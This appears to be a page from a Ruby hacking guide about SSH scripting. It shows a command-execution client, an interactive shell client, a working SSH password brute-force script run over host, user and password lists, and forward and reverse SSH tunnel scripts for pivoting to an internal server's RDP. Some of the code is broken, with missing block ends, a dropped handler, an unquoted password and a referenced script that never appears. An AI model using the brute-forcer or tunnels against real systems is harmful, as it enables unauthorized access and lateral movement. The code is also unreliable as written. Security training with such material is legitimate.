SSH

• Install net-ssh gem

This is a very basic SSH client which sends and executes commands on a remote system

# KING SABRI | @KINGSABRI
require 'net/ssh'
@hostname = "localhost"
@username = "root"
@password = "password"
@cmd = ARGV[0]
begin
  ssh = Net::SSH.start(@hostname, @username, :password => @password)
  res = ssh.exec!(@cmd)
  ssh.close
  puts res
rescue
  puts "Unable to connect to #{@hostname} using #{@username}/#{@password}"
end

Here a simple SSH client which give you an interactive PTY

#!/usr/bin/env ruby
# KING SABRI | @KINGSABRI
require 'net/ssh'
@hostname = "localhost"
@username = "root"
@password = "password"
Net::SSH.start(@hostname, @username, :password => @password, :auth_methods => ["password"]) do |session|
  # Open SSH channel
  session.open_channel do |channel|
    # Requests that a pseudo-tty (or "pty") for interactive application-like (e.g vim, sudo, etc)
    channel.request_pty do |ch, success|
      raise "Error requesting pty" unless success
      # Request channel type shell
      ch.send_channel_request("shell") do |ch, success|
        raise "Error opening shell" unless success
        STDOUT.puts "[+] Getting Remote Shell\n\n" if success
    end
    # Print STDERR of the remote host to my STDOUT
      STDOUT.puts "Error: #{data}\n"
    end
    # When data packets are received by the channel
    channel.on_data do |ch, data|
      STDOUT.print data
      cmd = gets
      channel.send_data( "#{cmd}" )
      trap("INT") {STDOUT.puts "Use 'exit' or 'logout' command to exit the session"}
    end
    channel.on_eof do |ch|
      puts "Exiting SSH Session.."
    end
    session.loop
  end
end

ssh-bf.rb

#!/usr/bin/env ruby
# KING SABRI | @KINGSABRI
#
require 'net/ssh'
def attack_ssh(host, user, password, port=22, timeout = 5)
  begin
    Net::SSH.start(host, user, :password => password,
                   :auth_methods => ["password"], :port => port,
                   :paranoid => false, :non_interactive => true, :timeout => timeout ) do |session|
      puts "Password Found: " + "#{host} | #{user}:#{password}"
    end
  rescue Net::SSH::ConnectionTimeout
    puts "[!] The host '#{host}' not alive!"
  rescue Net::SSH::Timeout
    puts "[!] The host '#{host}' disconnected/timeouted unexpectedly!"
  rescue Errno::ECONNREFUSED
    puts "[!] Incorrect port #{port} for #{host}"
  rescue Net::SSH::AuthenticationFailed
    puts "Wrong Password: #{host} | #{user}:#{password}"
  rescue Net::SSH::Authentication::DisallowedMethod
    puts "[!] The host '#{host}' doesn't accept password authentication method."
hosts = ['192.168.0.1', '192.168.0.4', '192.168.0.50']
users = ['root', 'admin', 'rubyfu']
passs = ['admin1234', 'P@ssw0rd', '123456', 'AdminAdmin', 'secret', coffee]
hosts.each do |host|
  users.each do |user|
    passs.each do |password|
      attack_ssh host, user, password
end end end

ssh-ftunnel.rb

#!/usr/bin/env ruby
# KING SABRI | @KINGSABRI
require 'net/ssh'
Net::SSH.start("127.0.0.1", 'root', :password => '123132') do |ssh|
  ssh.forward.local('0.0.0.0', 3333, "WebServer", 3389)
  puts "[+] Starting SSH forward tunnel"
  ssh.loop { true }
end

Now connect to the SSH Server on port 3333 via your RDP client, you’ll be prompt for the WebServer‘s RDP log-in screen

rdesktop WebServer:3333

Reverse SSH Tunnel

                              |--------DMZ------|---Local Farm----|
                              |                 |                 |
|Attacker| <---SSH Tunnel---- | |SSH Server| <-RDP-> |Web server| |
  |   |                       |                 |                 |
  `->-'                       |-----------------|-----------------|

Run ssh-rtunnel.rb on the SSH Server

Now SSH from the SSH Server to localhost on the localhost’s SSH port then connect from your localhost to your localhost on port 3333 via your RDP client, you’ll be prompt for the WebServer‘s RDP log-in screen

rdesktop localhost:3333

• To install scp gem

  gem install net-scp

• Upload file

require 'net/scp'
Net::SCP.upload!(
                    "SSHServer",
                    "root",
                    "/rubyfu/file.txt", "/root/",
                    #:recursive => true,    # Uncomment for recursive
                    :ssh => { :password => "123123" }

• Download file

• Capistranorb.com